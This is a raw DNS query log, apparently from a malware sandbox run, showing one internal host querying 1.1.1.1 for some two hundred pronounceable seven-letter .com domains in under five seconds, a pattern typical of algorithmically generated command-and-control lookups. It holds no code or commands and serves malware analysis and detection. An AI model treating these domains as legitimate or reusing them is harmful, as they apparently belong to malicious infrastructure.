Nov 11, 2024 18:51:12.261826038 CET	192.168.2.6	1.1.1.1	0x1960	Standard query (0)	gatycyb.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.262222052 CET	192.168.2.6	1.1.1.1	0x718f	Standard query (0)	lyvylod.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.262967110 CET	192.168.2.6	1.1.1.1	0xb5bf	Standard query (0)	gatyduh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.400259972 CET	192.168.2.6	1.1.1.1	0xa2df	Standard query (0)	qetysuq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.400543928 CET	192.168.2.6	1.1.1.1	0x5c37	Standard query (0)	gahynaz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.401227951 CET	192.168.2.6	1.1.1.1	0xe562	Standard query (0)	qeqytal.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.401585102 CET	192.168.2.6	1.1.1.1	0x146b	Standard query (0)	puvyliv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.401737928 CET	192.168.2.6	1.1.1.1	0xc685	Standard query (0)	volyjym.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.412195921 CET	192.168.2.6	1.1.1.1	0x8885	Standard query (0)	vojymet.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.412431955 CET	192.168.2.6	1.1.1.1	0xa47e	Standard query (0)	lyrysyj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.659071922 CET	192.168.2.6	1.1.1.1	0xeaa0	Standard query (0)	vocykif.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.220727921 CET	192.168.2.6	1.1.1.1	0xc378	Standard query (0)	lyxyjun.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.226500988 CET	192.168.2.6	1.1.1.1	0x349	Standard query (0)	lymytar.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.226670027 CET	192.168.2.6	1.1.1.1	0xd60c	Standard query (0)	ganyriz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.226757050 CET	192.168.2.6	1.1.1.1	0xa7d8	Standard query (0)	gaqypew.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.296760082 CET	192.168.2.6	1.1.1.1	0xbc75	Standard query (0)	qebylov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.296957970 CET	192.168.2.6	1.1.1.1	0x39cd	Standard query (0)	pupydig.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.297101021 CET	192.168.2.6	1.1.1.1	0x9c90	Standard query (0)	gadyduz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.297239065 CET	192.168.2.6	1.1.1.1	0xc1a7	Standard query (0)	pumytol.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.297374964 CET	192.168.2.6	1.1.1.1	0xcfa8	Standard query (0)	ganyzas.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.297518969 CET	192.168.2.6	1.1.1.1	0x7bf7	Standard query (0)	qekyheq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.297668934 CET	192.168.2.6	1.1.1.1	0xe43e	Standard query (0)	lykygaj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.297806025 CET	192.168.2.6	1.1.1.1	0xb5fa	Standard query (0)	vowypek.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.297996998 CET	192.168.2.6	1.1.1.1	0x88b6	Standard query (0)	pupycuv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.298548937 CET	192.168.2.6	1.1.1.1	0x9b83	Standard query (0)	lykymyr.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.298904896 CET	192.168.2.6	1.1.1.1	0x89b3	Standard query (0)	puryxag.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.299509048 CET	192.168.2.6	1.1.1.1	0x91e	Standard query (0)	lyxymed.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.299675941 CET	192.168.2.6	1.1.1.1	0x8dcd	Standard query (0)	pujymel.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.299931049 CET	192.168.2.6	1.1.1.1	0xecf4	Standard query (0)	lygynox.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.300080061 CET	192.168.2.6	1.1.1.1	0x68f	Standard query (0)	vofydut.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.300224066 CET	192.168.2.6	1.1.1.1	0x21a0	Standard query (0)	qebyrip.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.300385952 CET	192.168.2.6	1.1.1.1	0x6718	Standard query (0)	vonyzuf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.302961111 CET	192.168.2.6	1.1.1.1	0x4351	Standard query (0)	qekyqop.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.315238953 CET	192.168.2.6	1.1.1.1	0xcdbb	Standard query (0)	qedyfyq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.315777063 CET	192.168.2.6	1.1.1.1	0x76ae	Standard query (0)	lysyfyj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.317702055 CET	192.168.2.6	1.1.1.1	0xb982	Standard query (0)	volyqat.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.318222046 CET	192.168.2.6	1.1.1.1	0x5372	Standard query (0)	puzywel.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.321271896 CET	192.168.2.6	1.1.1.1	0x9e2e	Standard query (0)	gaqycos.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.321518898 CET	192.168.2.6	1.1.1.1	0x2e76	Standard query (0)	qeqyxov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.326966047 CET	192.168.2.6	1.1.1.1	0xb084	Standard query (0)	vofygum.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.332813978 CET	192.168.2.6	1.1.1.1	0x7c62	Standard query (0)	lyryfyd.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.341370106 CET	192.168.2.6	1.1.1.1	0x890b	Standard query (0)	lyxywer.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.343056917 CET	192.168.2.6	1.1.1.1	0x834b	Standard query (0)	pufymoq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.346266985 CET	192.168.2.6	1.1.1.1	0xb67b	Standard query (0)	vopycyf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.394988060 CET	192.168.2.6	1.1.1.1	0x390a	Standard query (0)	qedyvuv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.395199060 CET	192.168.2.6	1.1.1.1	0xe6c5	Standard query (0)	vowydef.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.399156094 CET	192.168.2.6	1.1.1.1	0xce1a	Standard query (0)	purydyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.401038885 CET	192.168.2.6	1.1.1.1	0xc1e4	Standard query (0)	qexylup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.401431084 CET	192.168.2.6	1.1.1.1	0x9be	Standard query (0)	qegyqaq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.407453060 CET	192.168.2.6	1.1.1.1	0x4217	Standard query (0)	puzyjyg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.474196911 CET	192.168.2.6	1.1.1.1	0xd65a	Standard query (0)	qexyryl.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.477722883 CET	192.168.2.6	1.1.1.1	0xd39a	Standard query (0)	gadyfuh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.564053059 CET	192.168.2.6	1.1.1.1	0x1074	Standard query (0)	vowycac.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.568816900 CET	192.168.2.6	1.1.1.1	0x9ea	Standard query (0)	gacyzuz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.034383059 CET	192.168.2.6	1.1.1.1	0x5096	Standard query (0)	qedysyp.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.054358959 CET	192.168.2.6	1.1.1.1	0x11c	Standard query (0)	volymaf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.130157948 CET	192.168.2.6	1.1.1.1	0xe74e	Standard query (0)	gaqykus.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.144282103 CET	192.168.2.6	1.1.1.1	0x78cb	Standard query (0)	qegysyg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.145277023 CET	192.168.2.6	1.1.1.1	0x8a1	Standard query (0)	purylup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.151777983 CET	192.168.2.6	1.1.1.1	0x9c85	Standard query (0)	pufypeg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.168847084 CET	192.168.2.6	1.1.1.1	0x9c61	Standard query (0)	gatyzoz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.200845957 CET	192.168.2.6	1.1.1.1	0x8952	Standard query (0)	vowykuc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.223198891 CET	192.168.2.6	1.1.1.1	0x1b84	Standard query (0)	lygysen.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.604166031 CET	192.168.2.6	1.1.1.1	0x58d8	Standard query (0)	pumywug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.615231037 CET	192.168.2.6	1.1.1.1	0xd1eb	Standard query (0)	gadycew.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.615686893 CET	192.168.2.6	1.1.1.1	0xfa1e	Standard query (0)	vofycyk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.616175890 CET	192.168.2.6	1.1.1.1	0xb8c	Standard query (0)	vocyjet.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.616507053 CET	192.168.2.6	1.1.1.1	0xd1a8	Standard query (0)	gacyhez.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.616853952 CET	192.168.2.6	1.1.1.1	0xf87d	Standard query (0)	pumyliq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.616916895 CET	192.168.2.6	1.1.1.1	0x3a71	Standard query (0)	qekynog.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.617285013 CET	192.168.2.6	1.1.1.1	0x3770	Standard query (0)	vocymak.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.617721081 CET	192.168.2.6	1.1.1.1	0xd88c	Standard query (0)	qebyqeq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.617847919 CET	192.168.2.6	1.1.1.1	0x1412	Standard query (0)	ganyqyh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.618421078 CET	192.168.2.6	1.1.1.1	0x9cf6	Standard query (0)	vopypec.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.619286060 CET	192.168.2.6	1.1.1.1	0x7de1	Standard query (0)	lyvyjyr.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.619904041 CET	192.168.2.6	1.1.1.1	0x3e27	Standard query (0)	gacynow.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.639509916 CET	192.168.2.6	1.1.1.1	0x8848	Standard query (0)	qebykul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.640820026 CET	192.168.2.6	1.1.1.1	0xc056	Standard query (0)	lysysyx.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.661923885 CET	192.168.2.6	1.1.1.1	0x4802	Standard query (0)	vojyduf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.662106037 CET	192.168.2.6	1.1.1.1	0xc188	Standard query (0)	ganykuw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.662287951 CET	192.168.2.6	1.1.1.1	0xc10c	Standard query (0)	pupypep.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.662441015 CET	192.168.2.6	1.1.1.1	0x402c	Standard query (0)	pujybig.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.662607908 CET	192.168.2.6	1.1.1.1	0xe2e7	Standard query (0)	pupyxal.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.662767887 CET	192.168.2.6	1.1.1.1	0xada	Standard query (0)	galynab.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.663192987 CET	192.168.2.6	1.1.1.1	0xb479	Standard query (0)	qekyfiv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.663336992 CET	192.168.2.6	1.1.1.1	0x962d	Standard query (0)	lysyxar.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.663486958 CET	192.168.2.6	1.1.1.1	0xfe7d	Standard query (0)	galyfis.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.663616896 CET	192.168.2.6	1.1.1.1	0xdbbf	Standard query (0)	qexynol.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.663743019 CET	192.168.2.6	1.1.1.1	0x876	Standard query (0)	puvymaq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.664007902 CET	192.168.2.6	1.1.1.1	0x55af	Standard query (0)	lyvymej.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.664086103 CET	192.168.2.6	1.1.1.1	0x71a3	Standard query (0)	gahydyb.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.664158106 CET	192.168.2.6	1.1.1.1	0xd48b	Standard query (0)	lyrylix.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.664308071 CET	192.168.2.6	1.1.1.1	0x6389	Standard query (0)	lyrytod.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.664328098 CET	192.168.2.6	1.1.1.1	0x44c8	Standard query (0)	pujyduv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.664504051 CET	192.168.2.6	1.1.1.1	0xd797	Standard query (0)	purytov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.664529085 CET	192.168.2.6	1.1.1.1	0xfc6e	Standard query (0)	qegyvuq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.664688110 CET	192.168.2.6	1.1.1.1	0xaacd	Standard query (0)	vowyrif.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.664702892 CET	192.168.2.6	1.1.1.1	0xb3c2	Standard query (0)	qexyhap.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.706695080 CET	192.168.2.6	1.1.1.1	0x4668	Standard query (0)	pufycyq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.707467079 CET	192.168.2.6	1.1.1.1	0xe260	Standard query (0)	vonyqym.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.707623959 CET	192.168.2.6	1.1.1.1	0x5935	Standard query (0)	lymywun.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.707811117 CET	192.168.2.6	1.1.1.1	0x496c	Standard query (0)	lyxygax.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.707942963 CET	192.168.2.6	1.1.1.1	0x3cb9	Standard query (0)	gaqyrib.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.708142996 CET	192.168.2.6	1.1.1.1	0x4e36	Standard query (0)	qetylip.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.708173037 CET	192.168.2.6	1.1.1.1	0xbe53	Standard query (0)	qeqyrug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.708362103 CET	192.168.2.6	1.1.1.1	0x52fd	Standard query (0)	puzygop.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.708457947 CET	192.168.2.6	1.1.1.1	0x1542	Standard query (0)	lykynon.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.709100008 CET	192.168.2.6	1.1.1.1	0x1a77	Standard query (0)	qetytav.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.713746071 CET	192.168.2.6	1.1.1.1	0xf89f	Standard query (0)	vonykuk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.715255976 CET	192.168.2.6	1.1.1.1	0xf1d3	Standard query (0)	vopyzot.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.716506958 CET	192.168.2.6	1.1.1.1	0x4cef	Standard query (0)	gahyvuh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.717144012 CET	192.168.2.6	1.1.1.1	0x8a22	Standard query (0)	puvyjyl.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.717900038 CET	192.168.2.6	1.1.1.1	0xad0a	Standard query (0)	volygoc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.721544981 CET	192.168.2.6	1.1.1.1	0xda41	Standard query (0)	gatypas.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.721851110 CET	192.168.2.6	1.1.1.1	0x251f	Standard query (0)	lykyfud.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.723701000 CET	192.168.2.6	1.1.1.1	0xbfa3	Standard query (0)	vojybim.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.744082928 CET	192.168.2.6	1.1.1.1	0x9218	Standard query (0)	qedyxel.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:15.290885925 CET	192.168.2.6	1.1.1.1	0x5768	Standard query (0)	qetykyq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:15.292977095 CET	192.168.2.6	1.1.1.1	0x5d0a	Standard query (0)	puryjeq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:15.296391010 CET	192.168.2.6	1.1.1.1	0x7c2d	Standard query (0)	lyvynid.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:15.340756893 CET	192.168.2.6	1.1.1.1	0xb741	Standard query (0)	vopykum.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:15.341058016 CET	192.168.2.6	1.1.1.1	0xe5e1	Standard query (0)	vojypat.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:15.356749058 CET	192.168.2.6	1.1.1.1	0x747	Standard query (0)	qegytop.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:15.419492960 CET	192.168.2.6	1.1.1.1	0x707c	Standard query (0)	pupybul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:15.419709921 CET	192.168.2.6	1.1.1.1	0xdf5c	Standard query (0)	pufygug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.150921106 CET	192.168.2.6	1.1.1.1	0xfcac	Standard query (0)	gahypoz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.189436913 CET	192.168.2.6	1.1.1.1	0x7bef	Standard query (0)	qedylig.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.192823887 CET	192.168.2.6	1.1.1.1	0x61ad	Standard query (0)	qebyhag.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.193953037 CET	192.168.2.6	1.1.1.1	0x7098	Standard query (0)	vopyrik.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.197180986 CET	192.168.2.6	1.1.1.1	0x45ab	Standard query (0)	lykyvyx.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.200634003 CET	192.168.2.6	1.1.1.1	0x61dd	Standard query (0)	pupytiq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.209316015 CET	192.168.2.6	1.1.1.1	0x86c2	Standard query (0)	qekyvup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.210484028 CET	192.168.2.6	1.1.1.1	0xe245	Standard query (0)	vonyjef.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.212903023 CET	192.168.2.6	1.1.1.1	0xeae6	Standard query (0)	lysytoj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.216310978 CET	192.168.2.6	1.1.1.1	0x4cdd	Standard query (0)	gatykyh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.220201969 CET	192.168.2.6	1.1.1.1	0x1fd6	Standard query (0)	lyxyfuj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.221019030 CET	192.168.2.6	1.1.1.1	0xc450	Standard query (0)	gaqyqez.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.222704887 CET	192.168.2.6	1.1.1.1	0x2059	Standard query (0)	pufyxov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.252037048 CET	192.168.2.6	1.1.1.1	0x57fe	Standard query (0)	vowyqyt.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.293770075 CET	192.168.2.6	1.1.1.1	0x160d	Standard query (0)	lygyxad.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.294296026 CET	192.168.2.6	1.1.1.1	0xd593	Standard query (0)	gacyfih.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.294544935 CET	192.168.2.6	1.1.1.1	0xb06c	Standard query (0)	purywyl.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.294768095 CET	192.168.2.6	1.1.1.1	0x9429	Standard query (0)	vocygim.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.295202017 CET	192.168.2.6	1.1.1.1	0xbe35	Standard query (0)	lyrywur.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.298085928 CET	192.168.2.6	1.1.1.1	0xed43	Standard query (0)	volydyk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.298419952 CET	192.168.2.6	1.1.1.1	0x9568	Standard query (0)	lymymax.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.298863888 CET	192.168.2.6	1.1.1.1	0x9b3d	Standard query (0)	gadyzib.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.302171946 CET	192.168.2.6	1.1.1.1	0x3fd8	Standard query (0)	puzyduq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.336787939 CET	192.168.2.6	1.1.1.1	0x61ca	Standard query (0)	qeqyqep.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.337078094 CET	192.168.2.6	1.1.1.1	0x92cb	Standard query (0)	ganyhab.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.337281942 CET	192.168.2.6	1.1.1.1	0x4c71	Standard query (0)	vofypam.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.337281942 CET	192.168.2.6	1.1.1.1	0xe67d	Standard query (0)	lymyjyd.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.337462902 CET	192.168.2.6	1.1.1.1	0xcf09	Standard query (0)	pujycyp.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.337500095 CET	192.168.2.6	1.1.1.1	0xdd08	Standard query (0)	qexyfuq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.337609053 CET	192.168.2.6	1.1.1.1	0xaa11	Standard query (0)	qetyrul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.337757111 CET	192.168.2.6	1.1.1.1	0x7ad2	Standard query (0)	pupylug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.337872028 CET	192.168.2.6	1.1.1.1	0x820d	Standard query (0)	ganynos.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.337991953 CET	192.168.2.6	1.1.1.1	0x544f	Standard query (0)	qekysel.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.338215113 CET	192.168.2.6	1.1.1.1	0xc00e	Standard query (0)	lysylun.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.338399887 CET	192.168.2.6	1.1.1.1	0xd6d8	Standard query (0)	vonymoc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.338766098 CET	192.168.2.6	1.1.1.1	0x646d	Standard query (0)	puzybil.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.367523909 CET	192.168.2.6	1.1.1.1	0x8ea6	Standard query (0)	puvybuv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.367693901 CET	192.168.2.6	1.1.1.1	0xbb57	Standard query (0)	galydyw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.367863894 CET	192.168.2.6	1.1.1.1	0x2498	Standard query (0)	gatyruw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.367985010 CET	192.168.2.6	1.1.1.1	0x8b1d	Standard query (0)	vojycec.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.368139029 CET	192.168.2.6	1.1.1.1	0xd29	Standard query (0)	gadypah.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.368266106 CET	192.168.2.6	1.1.1.1	0x99a8	Standard query (0)	volybut.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.368680000 CET	192.168.2.6	1.1.1.1	0x3d38	Standard query (0)	pumyjev.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.368825912 CET	192.168.2.6	1.1.1.1	0xaae	Standard query (0)	qedytoq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.369206905 CET	192.168.2.6	1.1.1.1	0x7b7c	Standard query (0)	galyvuz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.369342089 CET	192.168.2.6	1.1.1.1	0xb14a	Standard query (0)	gahyces.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.370728970 CET	192.168.2.6	1.1.1.1	0x65af	Standard query (0)	lyvygon.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.370920897 CET	192.168.2.6	1.1.1.1	0x4272	Standard query (0)	lyryjej.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.371071100 CET	192.168.2.6	1.1.1.1	0xcc61	Standard query (0)	lykyser.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.371212959 CET	192.168.2.6	1.1.1.1	0xa30e	Standard query (0)	vocybuf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.371352911 CET	192.168.2.6	1.1.1.1	0x2e9b	Standard query (0)	pujypal.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.371505022 CET	192.168.2.6	1.1.1.1	0xe64d	Standard query (0)	qebyniv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.371644974 CET	192.168.2.6	1.1.1.1	0x9856	Standard query (0)	lyxynir.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.373328924 CET	192.168.2.6	1.1.1.1	0x1f57	Standard query (0)	puvygog.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.373565912 CET	192.168.2.6	1.1.1.1	0x2d4	Standard query (0)	pumymap.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.373729944 CET	192.168.2.6	1.1.1.1	0x892a	Standard query (0)	qeqykyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.410829067 CET	192.168.2.6	1.1.1.1	0xd61e	Standard query (0)	qegyxav.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.515979052 CET	192.168.2.6	1.1.1.1	0x8c85	Standard query (0)	qeqysag.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.538573980 CET	192.168.2.6	1.1.1.1	0x68d2	Standard query (0)	lymysan.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.542614937 CET	192.168.2.6	1.1.1.1	0x1ffa	Standard query (0)	volykyc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.544220924 CET	192.168.2.6	1.1.1.1	0x8895	Standard query (0)	vofymik.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.547856092 CET	192.168.2.6	1.1.1.1	0x4395	Standard query (0)	gahyhob.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.547916889 CET	192.168.2.6	1.1.1.1	0xf845	Standard query (0)	gacyryw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.550636053 CET	192.168.2.6	1.1.1.1	0x56a6	Standard query (0)	purycap.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.557221889 CET	192.168.2.6	1.1.1.1	0x5818	Standard query (0)	puvyxil.com	A (IP address)	IN (0x0001)	false
